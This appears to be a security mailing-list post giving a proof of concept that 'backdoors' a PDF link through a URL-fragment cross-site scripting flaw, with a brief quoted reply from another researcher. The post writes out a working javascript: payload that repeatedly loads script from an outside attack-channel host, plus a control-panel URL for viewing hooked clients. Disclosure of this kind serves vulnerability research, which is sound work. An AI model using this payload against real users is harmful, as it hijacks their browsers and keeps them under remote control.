The following POC dynamically backdoors a given PDF document with an attack channel: http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:setInterval(function () {var s = document.createElement('script');s.src = 'http://www.gnucitizen.org/carnaval/channel';s.defer = true;s.type = 'text/javascript';document.body.appendChild(s);}, 2000);void(0); For the purpose of this POC I use carnaval. All hoocked clients can be previewed by using carnaval's backframe profile: http://www.gnucitizen.org/carnaval click on backframe, or directly access the following URL: http://www.gnucitizen.org/backframe/application.htm?Y2hhbm5lbCgnY2FybmF2YWwnLCAnaHR0cDovL3d3dy5nbnVjaXRpemVuLm9yZy9jYXJuYXZhbC9jaGFubmVsJyk7CnBvcHVsYXRlX2NoYW5uZWxzKCk7 On 1/3/07, Amit Klein <aksecurity () gmail com> wrote:

I was thinking about a solution to the fragment problem, which is the topic of the thread (and a much more widespread situation than PDF upload). -Amit
